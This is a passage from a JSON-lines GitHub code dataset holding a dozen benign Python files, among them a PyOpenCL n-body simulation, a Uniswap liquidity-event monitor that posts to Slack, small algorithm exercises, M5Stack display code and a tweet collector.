-cl-kernel-arg-info -cl-fast-relaxed-math -cl-std=CL1.2 -DTRNG=%i -DTYPE=%i\" % (Marsaglia[RNG],Computing[ValueType]) # noqa: E501\n BuildOptions = \"-cl-mad-enable -cl-fast-relaxed-math -DTRNG=%i -DTYPE=%i -DINTERACTION=%i -DARTEVASION=%i\" % ( # noqa: E501\n Marsaglia[RNG],\n Computing[ValueType],\n Interaction[InterType],\n Artevasion[CoArEv],\n )\n\n if (\n \"Intel\" in PlatForm.name\n or \"Experimental\" in PlatForm.name\n or \"Clover\" in PlatForm.name\n or \"Portable\" in PlatForm.name\n ):\n MyRoutines = cl.Program(ctx, BlobOpenCL).build(options=BuildOptions)\n else:\n MyRoutines = cl.Program(ctx, BlobOpenCL).build(\n options=BuildOptions + \" -cl-strict-aliasing\"\n )\n\n mf = cl.mem_flags\n # Read/Write approach for buffering\n clDataX = cl.Buffer(ctx, mf.READ_WRITE, MyDataX.nbytes)\n clDataV = cl.Buffer(ctx, mf.READ_WRITE, MyDataV.nbytes)\n clPotential = cl.Buffer(ctx, mf.READ_WRITE, MyPotential.nbytes)\n clKinetic = cl.Buffer(ctx, mf.READ_WRITE, MyKinetic.nbytes)\n clCoM = cl.Buffer(ctx, mf.READ_WRITE, MyCoM.nbytes)\n\n # Write/HostPointer approach for buffering\n # clDataX = cl.Buffer(ctx, mf.WRITE_ONLY|mf.COPY_HOST_PTR,hostbuf=MyDataX)\n # clDataV = cl.Buffer(ctx, mf.WRITE_ONLY|mf.COPY_HOST_PTR,hostbuf=MyDataV)\n # clPotential = cl.Buffer(ctx, mf.WRITE_ONLY|mf.COPY_HOST_PTR,hostbuf=MyPotential) # noqa: E501\n # clKinetic = cl.Buffer(ctx, mf.WRITE_ONLY|mf.COPY_HOST_PTR,hostbuf=MyKinetic)\n # clCoM = cl.Buffer(ctx, mf.WRITE_ONLY|mf.COPY_HOST_PTR,hostbuf=MyCoM)\n\n print(\"All particles superimposed.\")\n\n # Set particles to RNG points\n if InitialRandom:\n seed_w = np.uint32(nprnd(2 ** 32))\n seed_z = np.uint32(nprnd(2 ** 32))\n else:\n seed_w = np.uint32(19710211)\n seed_z = np.uint32(20081010)\n\n if Shape == \"Ball\":\n MyRoutines.InBallSplutterPoints(\n queue, (Number, 1), None, clDataX, SizeOfShape, seed_w, seed_z\n )\n else:\n MyRoutines.InBoxSplutterPoints(\n queue, (Number, 1), None, clDataX, SizeOfShape, seed_w, seed_z\n )\n\n print(\"All particules distributed\")\n\n CLLaunch = MyRoutines.CenterOfMass(\n queue, (1, 1), None, clDataX, clCoM, np.int32(Number)\n )\n CLLaunch.wait()\n cl.enqueue_copy(queue, MyCoM, clCoM)\n print(\"Center Of Mass estimated: (%s,%s,%s)\" % (MyCoM[0], MyCoM[1], MyCoM[2]))\n\n if VirielStress:\n CLLaunch = MyRoutines.SplutterStress(\n queue,\n (Number, 1),\n None,\n clDataX,\n clDataV,\n clCoM,\n MyFloat(0.0),\n np.uint32(110271),\n np.uint32(250173),\n )\n else:\n CLLaunch = MyRoutines.SplutterStress(\n queue,\n (Number, 1),\n None,\n clDataX,\n clDataV,\n clCoM,\n Velocity,\n np.uint32(110271),\n np.uint32(250173),\n )\n CLLaunch.wait()\n\n print(\"All particules stressed\")\n\n CLLaunch = MyRoutines.Potential(queue, (Number, 1), None, clDataX, clPotential)\n CLLaunch = MyRoutines.Kinetic(queue, (Number, 1), None, clDataV, clKinetic)\n CLLaunch.wait()\n cl.enqueue_copy(queue, MyPotential, clPotential)\n cl.enqueue_copy(queue, MyKinetic, clKinetic)\n print(\n \"Energy estimated: Viriel=%s Potential=%s Kinetic=%s\\n\"\n % (\n np.sum(MyPotential) + 2 * np.sum(MyKinetic),\n np.sum(MyPotential),\n np.sum(MyKinetic),\n )\n )\n\n if SpeedRendering:\n SizeOfBox = max(2 * MyKinetic)\n else:\n SizeOfBox = SizeOfShape\n\n if OpenGL:\n print(\"\\tTiny documentation to interact OpenGL rendering:\\n\")\n print(\"\\t Rotate around X axis\")\n print(\"\\t Rotate around Y axis\")\n print(\"\\t Rotate around Z axis\")\n print(\"\\t <-|+> Unzoom/Zoom\")\n print(\"\\t Toggle to display Positions or Velocities\")\n print(\"\\t Quit\\n\")\n\n wall_time_start = time.time()\n\n Durations = np.array([], dtype=MyFloat)\n print(\"Starting!\")\n if OpenGL:\n import OpenGL.GL as gl\n import OpenGL.GLUT as glut\n\n global ViewRX, ViewRY, ViewRZ\n Iterations = 0\n ViewRX, ViewRY, ViewRZ = 0.0, 0.0, 0.0\n # Launch OpenGL Loop\n glut.glutInit(sys.argv)\n glut.glutInitDisplayMode(glut.GLUT_DOUBLE | glut.GLUT_RGB)\n glut.glutSetOption(glut.GLUT_ACTION_ON_WINDOW_CLOSE,\n glut.GLUT_ACTION_CONTINUE_EXECUTION)\n glut.glutInitWindowSize(512, 512)\n glut.glutCreateWindow(b\"NBodyGL\")\n setup_viewport()\n glut.glutReshapeFunc(reshape)\n glut.glutDisplayFunc(display)\n glut.glutIdleFunc(display)\n # glutMouseFunc(mouse)\n glut.glutSpecialFunc(special)\n glut.glutKeyboardFunc(keyboard)\n glut.glutMainLoop()\n else:\n for iteration in range(Iterations):\n Elapsed = MainOpenCL(clDataX, clDataV, Step, Method)\n if Verbose:\n # print(\"Duration of #%s iteration: %s\" % (iteration,Elapsed))\n cl.enqueue_copy(queue, MyDataX, clDataX)\n print(\"Positions for #%s iteration: %s\" % (iteration, MyDataX))\n else:\n sys.stdout.write(\".\")\n sys.stdout.flush()\n Durations = np.append(Durations, Elapsed)\n\n print(\"\\nEnding!\")\n\n MyRoutines.CenterOfMass(queue, (1, 1), None, clDataX, clCoM, np.int32(Number))\n CLLaunch = MyRoutines.Potential(queue, (Number, 1), None, clDataX, clPotential)\n CLLaunch = MyRoutines.Kinetic(queue, (Number, 1), None, clDataV, clKinetic)\n CLLaunch.wait()\n cl.enqueue_copy(queue, MyCoM, clCoM)\n cl.enqueue_copy(queue, MyPotential, clPotential)\n cl.enqueue_copy(queue, MyKinetic, clKinetic)\n print(\"\\nCenter Of Mass estimated: (%s,%s,%s)\" % (MyCoM[0], MyCoM[1], MyCoM[2]))\n print(\n \"Energy estimated: Viriel=%s Potential=%s Kinetic=%s\\n\"\n % (\n np.sum(MyPotential) + 2.0 * np.sum(MyKinetic),\n np.sum(MyPotential),\n np.sum(MyKinetic),\n )\n )\n\n print(\n \"Duration stats on device %s with %s iterations :\\n\\tMean:\\t%s\\n\\tMedian:\\t%s\\n\\tStddev:\\t%s\\n\\tMin:\\t%s\\n\\tMax:\\t%s\\n\\n\\tVariability:\\t%s\\n\" # noqa: E501\n % (\n Device,\n Iterations,\n np.mean(Durations),\n np.median(Durations),\n np.std(Durations),\n np.min(Durations),\n np.max(Durations),\n np.std(Durations) / np.median(Durations),\n )\n )\n\n # FPS: 1/Elapsed\n FPS = np.ones(len(Durations))\n FPS /= Durations\n\n print(\n \"FPS stats on device %s with %s iterations :\\n\\tMean:\\t%s\\n\\tMedian:\\t%s\\n\\tStddev:\\t%s\\n\\tMin:\\t%s\\n\\tMax:\\t%s\\n\" # noqa: E501\n % (\n Device,\n Iterations,\n np.mean(FPS),\n np.median(FPS),\n np.std(FPS),\n np.min(FPS),\n np.max(FPS),\n )\n )\n\n # Contraction of Square*Size*Hertz: Size*Size/Elapsed\n Squertz = np.ones(len(Durations))\n Squertz *= Number * Number\n Squertz /= Durations\n\n print(\n \"Squertz in log10 & complete stats on device %s with %s iterations :\\n\\tMean:\\t%s\\t%s\\n\\tMedian:\\t%s\\t%s\\n\\tStddev:\\t%s\\t%s\\n\\tMin:\\t%s\\t%s\\n\\tMax:\\t%s\\t%s\\n\" # noqa: E501\n % (\n Device,\n Iterations,\n np.log10(np.mean(Squertz)),\n np.mean(Squertz),\n np.log10(np.median(Squertz)),\n np.median(Squertz),\n np.log10(np.std(Squertz)),\n np.std(Squertz),\n np.log10(np.min(Squertz)),\n np.min(Squertz),\n np.log10(np.max(Squertz)),\n np.max(Squertz),\n )\n )\n\n clDataX.release()\n clDataV.release()\n clKinetic.release()\n clPotential.release()\n","repo_name":"inducer/pyopencl","sub_path":"examples/n-body.py","file_name":"n-body.py","file_ext":"py","file_size_in_byte":32112,"program_lang":"python","lang":"en","doc_type":"code","stars":998,"dataset":"github-code","pt":"60"} +{"seq_id":"19205918285","text":"import serial\nimport time\n\nser = serial.Serial(\"/dev/tty.usbserial-A9Y75F57\", 115200)\n\nser.write(b'r')\ninfo = []\n\nwhile True:\n line = ser.readline()\n info.append(line)\n if \"Resistor?\" in line:\n break\n\nfor piece in info:\n print(piece)","repo_name":"jayheiland/CE_Senior_Project","sub_path":"app src/TestSerialRead.py","file_name":"TestSerialRead.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5045653306","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nワーシャルフロイドで全頂点の最短距離(手作り版)\n\"\"\"\n\nN,M = map(int, input().split())\n\n# ワーシャルフロイド用隣接行列\ngraph = [[float('inf')] * N for i in range(N)]\nfor i in range(M):\n a,b = map(int, input().split())\n # 無向グラフなので両方に\n graph[a-1][b-1] = graph[b-1][a-1] = 1\n\n# ワーシャルフロイドで全頂点の最短距離(手作り版)\nfor k in range(N):\n for i in range(N):\n for j in range(N):\n # 始点 = 終点、は例外的に距離0にしておく\n if i == j:\n graph[i][j] = 0\n else:\n graph[i][j] = min(graph[i][j], graph[i][k] + graph[k][j])\n\nfor i in range(N):\n # 距離が2 = 友達の友達\n print(graph[i].count(2))\n","repo_name":"Coki628/kyopro_submissions","sub_path":"AtCoder/ABC016c2.py","file_name":"ABC016c2.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3029805035","text":"from web3 import Web3, WebsocketProvider\nimport time\nimport json\nimport logging\nimport traceback\nimport requests\nimport datetime\n\nADDRESS_MANAGER = \"0xC36442b4a4522E871399CD717aBDD847Ab11FE88\"\nBUILD_MANAGER_PATH = \"NonfungiblePositionManager.json\"\n\nLATEST_BLOCK_LOG_PATH = \"latest_block\"\nENDPOINT_PATH = \".endpoint\"\nSLACK_PATH = \".slack\"\n\ndef get_file_data(path):\n data = None\n with open(path, \"r\", encoding=\"utf-8\") as f:\n data = f.read()\n\n data = data.rstrip()\n print(f\"{path}: {data}\")\n return data\n\ntokens = {\n \"0xc4A11aaf6ea915Ed7Ac194161d2fC9384F15bff2\": \"WTON\",\n \"0x409c4D8cd5d2924b9bc5509230d16a61289c8153\": \"TOS\",\n \"0x0e498afce58dE8651B983F136256fA3b8d9703bc\": \"DOC\"\n}\n\nendpoint_url = get_file_data(ENDPOINT_PATH)\nslack_url = get_file_data(SLACK_PATH)\n\nw3 = Web3(WebsocketProvider(endpoint_url))\n\nevent_hash_IncreaseLiquidity = w3.keccak(text=\"IncreaseLiquidity(uint256,uint128,uint256,uint256)\").hex()\nevent_hash_DecreaseLiquidity = w3.keccak(text=\"DecreaseLiquidity(uint256,uint128,uint256,uint256)\").hex()\n\ndef get_from_block():\n from_block = w3.eth.get_block(\"latest\")[\"number\"]\n try:\n with open(LATEST_BLOCK_LOG_PATH, \"r\", encoding=\"utf-8\") as f:\n from_block = int(f.read())\n except:\n pass\n\n print(f\"from_block: {from_block}\")\n return from_block\n\ndef read_contract(path):\n with open(path, \"r\", encoding=\"utf-8\") as f:\n return json.load(f)\n\ndef get_contract_instance(path, address):\n compiled = read_contract(path)\n instance = w3.eth.contract(\n address=address,\n abi=compiled[\"abi\"])\n return instance\n\ndef save_latest_block(block_number):\n with open(LATEST_BLOCK_LOG_PATH, \"w\", encoding=\"utf-8\") as f:\n f.write(str(block_number))\n\ndef format_number(num):\n if num % 1 == 0:\n return int(num)\n else:\n return num\n\ndef parse_pair(token0: str, token1: str):\n result = \"\"\n\n if token0 in tokens:\n result += tokens[token0]\n else:\n result += token0\n result += \"/\"\n if token1 in tokens:\n result += tokens[token1]\n else:\n result += token1\n\n return result\n\ndef parse_event_increased_liquidity(instance, receipt):\n log = \"\"\n result = instance.events.IncreaseLiquidity().processReceipt(receipt)\n\n newline = False\n for x in result:\n operator = \"\"\n tickLower = \"-\"\n tickUpper = \"-\"\n token0 = \"\"\n token1 = \"\"\n tx = w3.eth.get_transaction_receipt(x['transactionHash'])\n operator = tx['from']\n try:\n #TODO: handle MEV tx\n positions = instance.functions.positions(x['args']['tokenId']).call(block_identifier=x['blockNumber'])\n#operator = positions[1]\n tickLower = positions[5]\n tickUpper = positions[6]\n token0 = positions[2]\n token1 = positions[3]\n if token0 not in tokens and token1 not in tokens:\n return None\n except Exception as e:\n print(\"#\" * 80)\n print(\"error:\")\n#print(str(e) == \"execution reverted: Invalid token ID\")\n print(e)\n print(f\"tx: {tx['transactionHash'].hex()}\")\n return None\n\n pair = parse_pair(token0, token1)\n\n if newline:\n log += \"\\n\"\n log += f\" - \"\n log += f\"{pair} - \"\n log += f\"from: `{operator}`, \"\n log += f\"liquidity: `{int(x['args']['liquidity']/1e18)}({int(x['args']['amount0']/1e18)}/{int(x['args']['amount1']/1e18)})`, \"\n log += f\"tickLower: `{tickLower}`, tickUpper: `{tickUpper}`\"\n newline = True\n\n return log\n\ndef parse_event_decreased_liquidity(instance, receipt):\n log = \"\"\n result = instance.events.DecreaseLiquidity().processReceipt(receipt)\n\n newline = False\n for x in result:\n operator = \"\"\n tickLower = \"-\"\n tickUpper = \"-\"\n token0 = \"\"\n token1 = \"\"\n tx = w3.eth.get_transaction_receipt(x['transactionHash'])\n operator = tx['from']\n try:\n #TODO: handle MEV tx\n positions = instance.functions.positions(x['args']['tokenId']).call(block_identifier=x['blockNumber'])\n#operator = positions[1]\n tickLower = positions[5]\n tickUpper = positions[6]\n token0 = positions[2]\n token1 = positions[3]\n if token0 not in tokens and token1 not in tokens:\n return None\n except Exception as e:\n print(\"#\" * 80)\n print(\"error:\")\n print(e)\n print(f\"tx: {tx['transactionHash'].hex()}\")\n return None\n\n pair = parse_pair(token0, token1)\n\n if newline:\n log += \"\\n\"\n log += f\" - \"\n log += f\"{pair} - \"\n log += f\"from: `{operator}`, \"\n log += f\"liquidity: `{int(x['args']['liquidity']/1e18)}({int(x['args']['amount0']/1e18)}/{int(x['args']['amount1']/1e18)})`, \"\n log += f\"tickLower: `{tickLower}`, tickUpper: `{tickUpper}`\"\n newline = True\n\n return log\n\ndef send_message(msg):\n payload = {\"text\": msg}\n requests.post(slack_url, json=payload)\n\ndef make_log(instance, event, receipt):\n log = \"\"\n\n block = w3.eth.getBlock(event[\"blockNumber\"])\n tz = datetime.timezone(datetime.timedelta(hours=9))\n log += str(datetime.datetime.fromtimestamp(block[\"timestamp\"], tz))\n log += \"(KST) \"\n\n buf = None\n if event[\"topics\"][0].hex() == event_hash_IncreaseLiquidity:\n buf = parse_event_increased_liquidity(instance, receipt)\n elif event[\"topics\"][0].hex() == event_hash_DecreaseLiquidity:\n buf = parse_event_decreased_liquidity(instance, receipt)\n if buf is None:\n return None\n log += buf\n\n return log\n\ndef get_events():\n try:\n monitoring_events = [\n event_hash_IncreaseLiquidity,\n event_hash_DecreaseLiquidity\n ]\n\n instance = get_contract_instance(BUILD_MANAGER_PATH, ADDRESS_MANAGER)\n\n from_block = get_from_block() + 1\n to_block = min(w3.eth.get_block(\"latest\")[\"number\"], from_block + 1000)\n\n if to_block < from_block:\n print(\"waiting for next block\")\n time.sleep(60)\n return\n\n print(f\"from_block: {from_block}\")\n print(f\"to_block: {to_block}\")\n\n logs = w3.eth.getLogs({\n 'fromBlock': from_block,\n 'toBlock': to_block,\n 'address': ADDRESS_MANAGER,\n })\n\n events = list(filter(lambda log: log[\"topics\"][0].hex() in monitoring_events, logs))\n events2 = list({event[\"transactionHash\"]:event for event in events}.values())\n\n msgs = []\n for event in events2:\n receipt = w3.eth.getTransactionReceipt(event[\"transactionHash\"])\n log = make_log(instance, event, receipt)\n if log is not None:\n msgs.append(log)\n\n for msg in msgs:\n print(\"$\"*80)\n print(\"msg:\", msg)\n send_message(msg)\n\n save_latest_block(to_block)\n except Exception as e:\n logging.error(traceback.format_exc())\n time.sleep(60)\n\n\ndef main():\n while True:\n get_events()\n\nif __name__ == '__main__':\n main()\n","repo_name":"tokamak-network/tools","sub_path":"event_monitor_uniswap/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38207058701","text":"import unittest\n\nimport numpy as np\n\n\ndef linear_model(x: np.ndarray, w: float, b: float) -> np.ndarray:\n return w * x + b\n\n\ndef cost_function(x: np.ndarray, y: np.ndarray, w: float, b: float) -> float:\n predictions = linear_model(x, w, b)\n return ((predictions - y)**2).mean()\n\n\ndef mini_batch_gradient_descent(\n x: np.ndarray, y: np.ndarray, w: float, b: float,\n learning_rate: float, num_iterations: int, batch_size: int\n):\n for _i in range(num_iterations):\n # shuffle data\n indices = np.random.permutation(len(x))\n x = x[indices]\n y = y[indices]\n\n # split data into mini-batches\n for j in range(0, len(x), batch_size):\n x_batch = x[j:j + batch_size]\n y_batch = y[j:j + batch_size]\n\n # calculate gradients\n dw = ((linear_model(x_batch, w, b) - y_batch) * x_batch).mean()\n db = (linear_model(x_batch, w, b) - y_batch).mean()\n\n # update parameters\n w = w - learning_rate * dw\n b = b - learning_rate * db\n\n # calculate cost\n cost_function(x, y, w, b)\n return w, b\n\n\nclass TestGradientDescent(unittest.TestCase):\n def setUp(self):\n # sample data\n self.x = np.array([1, 2, 3, 4, 5])\n self.y = np.array([5, 7, 9, 11, 13])\n\n # initial values for parameters\n self.w = 1\n self.b = 1\n\n # run gradient descent\n self.learning_rate = 0.01\n self.num_iterations = 1000\n self.batch_size = 2\n\n def test_mini_batch_gradient_descent(self):\n final_w, final_b = mini_batch_gradient_descent(\n self.x, self.y, self.w, self.b, self.learning_rate,\n self.num_iterations, self.batch_size\n )\n self.assertAlmostEqual(final_w, 2.000, delta=1e-2)\n self.assertAlmostEqual(final_b, 3.000, delta=1e-2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"TruongNhanNguyen/Python-Fundamentals","sub_path":"algorithms/optimizations/gradient_descent/mini_batch_gradient_descent.py","file_name":"mini_batch_gradient_descent.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"} +{"seq_id":"42531031957","text":"import string\nfrom collections import defaultdict\n#from aoc_tools import *\ndirs = [(0,1),(1,0),(0,-1),(-1,0)]\n\nwith open(r\"C:\\Users\\Neil\\Documents\\AOC2022\\day14\\input.txt\") as f:\n s = f.read().strip()\nprint(\"\\n\".join(x[:60] for x in s.split(\"\\n\")[:6]))\n\ns = s.split(\"\\n\")\ns = [[tuple(nums(x)) for x in line.split(\" -> \")] for line in s]\n# added for pypy\n#s = [[tuple(map(int,x.split(\",\"))) for x in line.split(\" -> \")] for line in s]\n\nsand = (500,0)\n\n# 0 -> air\n# 1 -> solid\n# 2 -> solid sand\ngrid = defaultdict(lambda : 0)\nfor line in s:\n for (ax,ay),(bx,by) in zip(line,line[1:]):\n dx = bx-ax\n if dx != 0:\n dx = dx // abs(dx)\n dy = by-ay\n if dy != 0:\n dy = dy // abs(dy)\n while (ax,ay) != (bx,by):\n grid[ax,ay] = 1\n ax += dx\n ay += dy\n grid[ax,ay] = 1\n\nmaxy = max(y for x,y in grid)\n\nfor x in range(-1000,1000):\n grid[x,maxy+2] = 1\n\npart = 2\n\nsx,sy = sand\nwhile True:\n blocked = True\n for dx,dy in ((0,1),(-1,1),(1,1)):\n if grid[(sx+dx,sy+dy)] == 0:\n sx += dx\n sy += dy\n blocked = False\n break\n if part == 1 and sy > maxy:\n break\n if blocked:\n grid[sx,sy] = 2\n if (sx,sy) == sand:\n break\n sx,sy = sand\n\nprint(sum(1 for v in grid.values() if v == 2))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"nthistle/advent-of-code","sub_path":"2022/day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"60"} +{"seq_id":"6813268521","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"PyExport\",\n version=\"0.0.1\",\n author=\"Sonal Raj\",\n author_email=\"sonal.nitjsr@gmail.com\",\n description=\"Export data programatically to emails, html, pdf, docs, xls, etc.\",\n long_description=\"Export data programatically to emails, html, pdf, docs, xls, etc.\",\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/sonal-raj/PyExport\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n)\n","repo_name":"sonal-raj/grebe","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16993912385","text":"# Spectroscopy/cli/io_helper.py\n\n\n# TODO: Only print message \"spacer\" if required.\n\n\n# ---------\n# Docstring\n# ---------\n\n\"\"\" Contains helper routines for importing and exporting data in a subset of\nformats supported by the Interfaces module. \"\"\"\n\n\n# -------\n# Imports\n# -------\n\nfrom spectroscopy.interfaces.vasp_interface import write_poscar, parse_outcar\n\n\n# ----------------------\n# Batch Structure Export\n# ----------------------\n\ndef write_structures_raman(disp_sets, file_format, output_prefix=None):\n \"\"\" Write out a set of displaced structures for a Raman activity\n calculation.\n\n Arguments:\n disp_sets -- a list of (band_index, frequency, structures,\n disp_steps, max_disps) tuples providing sets of displaced\n structures for each mode to be calculated.\n file_format -- file format to write displaced structures into\n (currently only 'vasp_poscar' is supported).\n\n Keyword arguments:\n output_prefix -- prefix to prepend to output files.\n\n Notes:\n Band indices should be zero based.\n \"\"\"\n\n # Check format support.\n\n if file_format not in ['vasp_poscar']:\n raise Exception(\n \"Error: The file format '{0}' is not currently supported \"\n \"by this function.\".format(file_format))\n\n # Set a prefix for the output files.\n\n if output_prefix is not None:\n output_prefix = \"{0}_Raman\".format(output_prefix)\n else:\n output_prefix = \"Raman\"\n\n if file_format == 'vasp_poscar':\n # Output structures in the VASP POSCAR format.\n\n for index, _, structures, disp_steps, max_disps in disp_sets:\n for i, (structure, disp_step, max_disp) in \\\n enumerate(zip(structures, disp_steps, max_disps)):\n file_name = \"{0}-POSCAR.{1:0>4}.{2:0>3}.vasp\".format(\n output_prefix, index + 1, i + 1)\n\n title_line = (\n \"Mode = {0:0>4}, Disp. # = {1:0>3}, Step = \"\n \"{2: 8.4f} (max. Cart. disp. = {3: 7.4f})\"\n .format(index + 1, i + 1, disp_step, max_disp))\n\n write_poscar(structure, file_name, title_line)\n\n# ------------------------------\n# Batch Dielectric Tensor Import\n# ------------------------------\n\ndef read_dielectric_tensors(input_files, file_format):\n \"\"\" Read and return a list of dielectric tensors from a set of input\n files in the specified file format (currently only 'vasp_outcar' is\n supported). \"\"\"\n\n # Check file format.\n\n if file_format not in ['vasp_outcar']:\n raise Exception(\n \"Error: The file format '{0}' is currently not supported \"\n \"by this function.\".format(file_format))\n\n # Read input files.\n\n eps_tensors = []\n\n if file_format == 'vasp_outcar':\n # Parse OUTCAR file and obtain static dielectric constant.\n\n for input_file in input_files:\n print(\"Reading input file: {0}\".format(input_file))\n\n outcar_data = parse_outcar(\n input_file, extract_list=['epsilon_static'])\n\n eps_tensors.append(outcar_data['epsilon_static'])\n\n if len(eps_tensors) > 0:\n print(\"\")\n\n return eps_tensors\n","repo_name":"skelton-group/Phonopy-Spectroscopy","sub_path":"lib/spectroscopy/cli/io_helper.py","file_name":"io_helper.py","file_ext":"py","file_size_in_byte":3223,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"60"} +{"seq_id":"74473036992","text":"from m5stack import lcd\nfrom m5stack import axp\nfrom m5stack import rtc\nimport machine\nimport imu\nimport fusion\nimport re\n\n# Funktion til at placere en værdi på en skala fra aims_min til aims_max\ndef map_value(value, input_min, input_max, aims_min, aims_max):\n value = min(max(input_min, value), input_max)\n value_deal = (value - input_min) * (aims_max - aims_min) / (input_max - input_min) + aims_min\n return round(value_deal, 2)\n\n# Tegner en tidslinje udfra de data der ligger gemt i data.csv filen\ndef showTimeline():\n lcd.clear(0x660000)\n fil = open('data.csv', 'r')\n lines = fil.readlines()\n fil.close()\n last_lines = lines[-160:]\n step = round(160/len(last_lines)) #bruges til at tegne tykkere søjler, ved få data\n print(step)\n if (step >= 3): # Step skal være højere end eller lig med 3, da en firkant som minimum har 1 pixel fyld og en kontur med en tykkelse på 1 pixel\n for i in range(len(last_lines)):\n line = last_lines[i][:-1]\n regex = r\"\\d+\"\n if re.match(regex,line):\n place = step * i\n lcd.rect(place, 80-int(line), step, int(line), color=0x000000, fillcolor=0xFFFF00)\n lcd.text(10,10,\"total time: \" + str(len(last_lines)/2) + \" minutes\")\n return\n if (step < 4): #Når step er mindre end fire tegnes tidslinjen med almindelige linjer\n for i in range(len(last_lines)):\n line = last_lines[i][:-1]\n regex = r\"\\d+\"\n if re.match(regex,line):\n for n in range(step):\n lcd.line(i+n, 80, i+n, 80-int(line), color=0xFFFF00)\n for i in range(len(last_lines)): # En hvid streg der vises hver 20. minut\n if (i%40 ==0):\n lcd.line(i, 80, i, 0, color=0xFFFFFF)\n lcd.text(i,20,\"20 min\")\n lcd.text(10,10,\"total time: \" + str(len(last_lines)/2) + \" minutes\")\n\ndef appendData(data):\n fil = open('data.csv', 'a')\n fil.write(str(data)+\"\\n\")\n fil.close()\n\ndef whipeData():\n fil = open('data.csv', 'w')\n fil.write(\"new\\n\")\n fil.close()\n\n# Batteriindikator\ndef drawBattery(startx,starty):\n vol = axp.getBatVoltage()\n rel = map_value(vol, 3.6, 4.12, 0, 30)\n if (rel < 7):\n lcd.rect(startx,starty,int(rel),10,fillcolor=0xFF0000)\n if (rel >= 7):\n lcd.rect(startx,starty,int(rel),10,fillcolor=0x00FF00)\n lcd.rect(startx, starty, 30, 10, color=0xFFFFFF)\n lcd.rect(startx+30,starty+2,2,6,fillcolor=0xFFFFFF)\n\n# en tegning af et øje\ndef drawEye(startx,starty):\n lcd.line(startx,starty,startx,starty + 40) #midten\n lcd.line(startx-7,starty+2,startx-7,starty + 38) # 1. venstre\n lcd.line(startx+7,starty+2,startx+7,starty + 38) # 1. højre\n lcd.line(startx-14,starty+4,startx-14,starty + 36)\n lcd.line(startx+14,starty+4,startx+14,starty + 36)\n lcd.line(startx-18,starty+10,startx-18,starty + 30)\n lcd.line(startx+18,starty+10,startx+18,starty + 30)\n lcd.ellipse(startx,starty+20,20,10, color=0x000000, fillcolor=0xFFFFFF);\n lcd.circle(startx,starty+20,8, color=0x0022FF, fillcolor=0x0022FF);\n lcd.circle(startx,starty+20,4, color=0x000000, fillcolor=0x000000);\n","repo_name":"DatalogiForAlle/smartphone-usage","sub_path":"new/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"da","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74960948992","text":"from mrjob.job import MRJob\nfrom mrjob.protocol import JSONValueProtocol, PickleProtocol, RawValueProtocol\n# from hose_util import lookup\nimport re\nimport sys,json\n\nclass USAFilter(MRJob):\n OUTPUT_PROTOCOL = RawValueProtocol\n\n def mapper(self, _, line):\n line = line.rstrip('\\n')\n date,geo,tweet = line.split('\\t')\n geo = json.loads(geo)\n if geo.get('country')=='USA' or 'us_state' in geo:\n yield None, line\n\nif __name__ == '__main__':\n USAFilter.run()\n\n","repo_name":"brendano/twitter_geo_preproc","sub_path":"geo2_pipeline/preproc8/20_message_filter/usafilter.py","file_name":"usafilter.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"73494839230","text":"#rock paper scissor\r\nimport random\r\n\r\ndef play():\r\n user = input(\"what is your choice? r for rock, p for paper and s for scissors\\n\")\r\n computer = random.choice(['r','s','p'])\r\n if user == computer:\r\n return 'it\\'s a tie'\r\n if who_won(user,computer):\r\n return f'you won!! computer\\'s choice was {computer}'\r\n \r\n return f'you lost!!!! computer\\'s choice was {computer}'\r\n\r\ndef who_won(player,comp):\r\n # r > s,s > p, p > r\r\n if(player == 'r' and comp == 's') or (player == 's' and comp == 'p') or (player == 'p' and comp == 'r'):\r\n return True\r\nif __name__ == \"__main__\":\r\n a = 0\r\n while a != 2:\r\n print(play())\r\n a = int(input(\"press 1 for start\\npress 2 for exit\\n\"))\r\n","repo_name":"lucifer2048/rock-paper-scissor","sub_path":"rockpaperscissor.py","file_name":"rockpaperscissor.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25533925329","text":"import json\nimport random\nfrom crud import create_favorites, twitter_noil\nfrom tweets_getter import TweetsGetter\n\n\ndef get_tweets_by_keyword(total: int, getter: TweetsGetter):\n \"\"\"キーワードで検索したツイートをリストに格納\"\"\"\n # list for storing tweets\n tweet_list = []\n\n for tweet in getter.collect(total=total, lang='en'):\n # ['statuses']を含んだtweetObjectを返す\n # print('id: ', tweet['id'])\n # print('screen_name: ', tweet['user']['screen_name'])\n # print('text: ', tweet['text'])\n tweet_list.append(tweet)\n return 